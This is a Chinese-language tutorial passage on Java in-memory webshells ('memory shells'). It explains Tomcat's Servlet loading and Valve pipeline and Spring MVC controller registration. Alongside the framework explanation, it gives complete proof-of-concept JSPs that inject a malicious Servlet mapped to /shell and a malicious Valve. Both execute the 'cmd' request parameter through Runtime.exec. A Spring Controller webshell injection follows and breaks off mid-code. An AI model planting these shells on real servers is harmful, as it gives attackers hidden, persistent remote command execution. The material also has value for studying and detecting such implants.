            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }

            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());

            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);

           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射

加载StandWrapper

接着在StandardContext#startInternal方法通过findChildren()获取StandardWrapper

最后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

    public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();

            //判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }

        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                }

注意这里对于Wrapper对象中loadOnStartup属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()加载调用。

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。

至此Servlet才被加载到内存中。

动态注册Servlet

通过上文的分析我们能够总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

获取StandardContext对象

StandardContext对象获取方式多种多样

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

编写恶意Servlet

<%!

    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

创建Wrapper对象

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将Wrapper添加进StandardContext

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

完整POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

访问Servlet.jsp动态注册Servlet

访问对应路径的Servlet命令执行

Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。

Valve型

什么是valve?

在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制

我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

管道机制流程分析

我们先来看看Pipeline接口,继承了Contained接口

public interface Pipeline extends Contained {

    public Valve getBasic();

    public void setBasic(Valve valve);

    public void addValve(Valve valve);

    public Valve[] getValves();

    public void removeValve(Valve valve);

    public void findNonAsyncValves(Set<String> result);
}

Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口

public interface Valve {

    public Valve getNext();

    public void setNext(Valve valve);

    public void backgroundProcess();

    public void invoke(Request request, Response response)
        throws IOException, ServletException;

    public boolean isAsyncSupported();
}

其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

同时Valve可以通过重写invoke()方法来实现具体的业务逻辑

class Shell_Valve extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            ...
            }
        }
    }

下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
    Request request = (Request) req.getNote(ADAPTER_NOTES);
        Response response = (Response) res.getNote(ADAPTER_NOTES);

        if (request == null) {
            // Create objects
            request = connector.createRequest();
            request.setCoyoteRequest(req);
            response = connector.createResponse();
            response.setCoyoteResponse(res);

            // Link objects
            request.setResponse(response);
            response.setRequest(request);

            // Set as notes
            req.setNote(ADAPTER_NOTES, request);
            res.setNote(ADAPTER_NOTES, response);

            // Set query string encoding
            req.getParameters().setQueryStringCharset(connector.getURICharset());
        }
...

    try {
            ...
            connector.getService().getContainer().getPipeline().getFirst().invoke(   request, response);
            }
...
}

前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)

首先通过connector.getService()来获取一个StandardService对象

接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象。

再通过StandardPipeline.getFirst()获取第一个Valve

@Override
    public Valve getFirst() {
        if (first != null) {
            return first;
        }

        return basic;
    }

最后通过调用StandardEngineValve.invoke()来实现Valve的各种业务逻辑

public final void invoke(Request request, Response response)
        throws IOException, ServletException {

        // Select the Host to be used for this Request
        Host host = request.getHost();
        if (host == null) {
            // HTTP 0.9 or HTTP 1.0 request without a host when no default host
            // is defined.
            // Don't overwrite an existing error
            if (!response.isError()) {
                response.sendError(404);
            }
            return;
        }
        if (request.isAsyncSupported()) {
            request.setAsyncSupported(host.getPipeline().isAsyncSupported());
        }

        // Ask this Host to process this request
        host.getPipeline().getFirst().invoke(request, response);
    }

host.getPipeline().getFirst().invoke(request, response)实现调用后续的Valve。

动态添加Valve

根据上文的分析我们能够总结出Valve型内存马的注入思路

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve
获取StandardPipeline对象
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Pipeline pipeline = standardContext.getPipeline();
%>
编写恶意Valve类
<%!
    class Shell_Valve extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>
将恶意Valve添加进StandardPipeline
<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

完整POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Pipeline pipeline = standardContext.getPipeline();
%>

<%!
    class Shell_Valve extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>

<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

访问Valve.jsp

任意路径即可命令执行

Spring内存马

什么是Spring

Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转)AOP(AspectOrientedProgramming, 面向切面编程)。现如今Spring全家桶已是一个庞大的家族

Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置。

Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。

SpringBoot

SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。

采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。

下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目

选择Spring Web

创建好之后,IDEA会自动创建一个启动类

package com.example.spring;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

}

下面我们就可以编写相应的Controller(控制器)及各种业务逻辑了

package com.example.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloWorldController {

    @ResponseBody
    @RequestMapping("hello")
    public String Hello(){
        return "Hello World!";
    }
}

Spring MVC、Tomcat和Servlet

首先来设想这样一个场景,假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?

首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web服务器的实现逻辑,当然,真正的Web服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应。

当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。

Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而Container中的Servlet就是我们的逻辑处理器。

因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat。

那Spring MVC呢?Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境。

Spring MVC

Spring MVC的运行流程

客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。

创建一个简单的Spring MVC项目

这里我们使用Maven来创建一个简单的SpringMVC项目。创建好Maven项目后添加相应的Springmvc依赖

...
<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
    <org.springframework-version>4.1.4.RELEASE</org.springframework-version>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-web</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>

    <!-- Tag libs support for view layer -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>jstl</artifactId>
      <version>1.2</version>
      <scope>runtime</scope>
    </dependency>
    <dependency>
      <groupId>taglibs</groupId>
      <artifactId>standard</artifactId>
      <version>1.1.2</version>
      <scope>runtime</scope>
    </dependency>

  </dependencies>
...

创建Spring配置文件springmvc.xml

编写web.xml文件来配置Servlet

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

  <display-name>Archetype Created Web Application</display-name>

  //使用默认的DispatcherServlet
  <servlet>
    <servlet-name>spring</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
       //spring配置文件路径
      <param-value>/WEB-INF/springmvc.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>spring</servlet-name>
    //路径设置为根目录
    <url-pattern>/</url-pattern>
  </servlet-mapping>


</web-app>

配置springmvc.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

    //设置注解扫描包路径
    <context:component-scan base-package="com.controller"/>

    <!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
    <mvc:annotation-driven />

    <!-- 视图解析 -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
    </bean>


</beans>

com.controller包下创建test控制器

package com.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class test {

    @ResponseBody
    @RequestMapping("/hello")
    public String hello(){
        System.out.println("hello");
        return "Hello";
    }
}

配置Tomcat,添加相应war包

启动Tomcat,访问http://localhost/hello

Controller型内存马

Bean

Bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

IOC容器

如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。

IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xmlJava注解Java代码来表示。

ApplicationContext

Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者

Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

Root Context和Child Context

我们来看看web.xml配置文件

...
  <servlet>
    <servlet-name>spring</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>/WEB-INF/springmvc.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>spring</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
...

这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation 参数值配置为/WEB-INF/springmvc.xml

依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 `/WEB-INF/<servlet-name>-servlet.xml,作为配置文件。因为上面的 <servlet-name> 是 dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件。

每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器

如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext

ContextLoaderListener

ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean

实现思路

和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下

  1. 获取上下文环境
  2. 注册恶意Controller
  3. 配置路径映射

获取上下文环境Context

有四种方法

getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext

WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

通过这种方法获得的也是一个 Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

通过 ServletRequest 类的实例来获得 Child WebApplicationContext

getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

动态注册Controller

Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程。

RequestMappingHandlerMapping是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。

  • RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
  • 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener,由它来完成IOC容器的初始化和bean对象的注入。
  • 另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。

Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;

Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。

registerMapping

在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
registerHandler

参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping

在其registerHandler()方法中

	protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
		Assert.notNull(urlPath, "URL path must not be null");
		Assert.notNull(handler, "Handler object must not be null");
		Object resolvedHandler = handler;

		// Eagerly resolve handler if referencing singleton via name.
		if (!this.lazyInitHandlers && handler instanceof String) {
			String handlerName = (String) handler;
			ApplicationContext applicationContext = obtainApplicationContext();
			if (applicationContext.isSingleton(handlerName)) {
				resolvedHandler = applicationContext.getBean(handlerName);
			}
		}

		Object mappedHandler = this.handlerMap.get(urlPath);
		if (mappedHandler != null) {
			if (mappedHandler != resolvedHandler) {
				throw new IllegalStateException(
						"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
						"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
			}
		}
		else {
			if (urlPath.equals("/")) {
				if (logger.isTraceEnabled()) {
					logger.trace("Root mapping to " + getHandlerDescription(handler));
				}
				setRootHandler(resolvedHandler);
			}
			else if (urlPath.equals("/*")) {
				if (logger.isTraceEnabled()) {
					logger.trace("Default mapping to " + getHandlerDescription(handler));
				}
				setDefaultHandler(resolvedHandler);
			}
			else {
				this.handlerMap.put(urlPath, resolvedHandler);
				if (getPatternParser() != null) {
					this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
				}
				if (logger.isTraceEnabled()) {
					logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
				}
			}
		}
	}

该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
detectHandlerMethods

参考上面的 HandlerMapping 接口继承关系图,针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping

在其detectHandlerMethods() 方法中

protected void detectHandlerMethods(Object handler) {
    Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
    final Class<?> userType = ClassUtils.getUserClass(handlerType);
    Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
        public boolean matches(Method method) {
            return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
        }
    });
    Iterator var6 = methods.iterator();
    while(var6.hasNext()) {
        Method method = (Method)var6.next();
        T mapping = this.getMappingForMethod(method, userType);
        this.registerHandlerMethod(handler, method, mapping);
    }
}

该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean

context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

实现恶意Controller

这里由于我们时动态注册Controller,所以我们只需要实现对应的恶意方法即可

public class Controller_Shell{

        public Controller_Shell(){}

        public void shell() throws IOException {

            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }

完整POC

package com.shell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@Controller
public class shell_controller {

//    @ResponseBody
    @RequestMapping("/control")
    public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {

        //获取当前上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        //手动注册Controller
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
        Method method = Controller_Shell.class.getDeclaredMethod("shell");
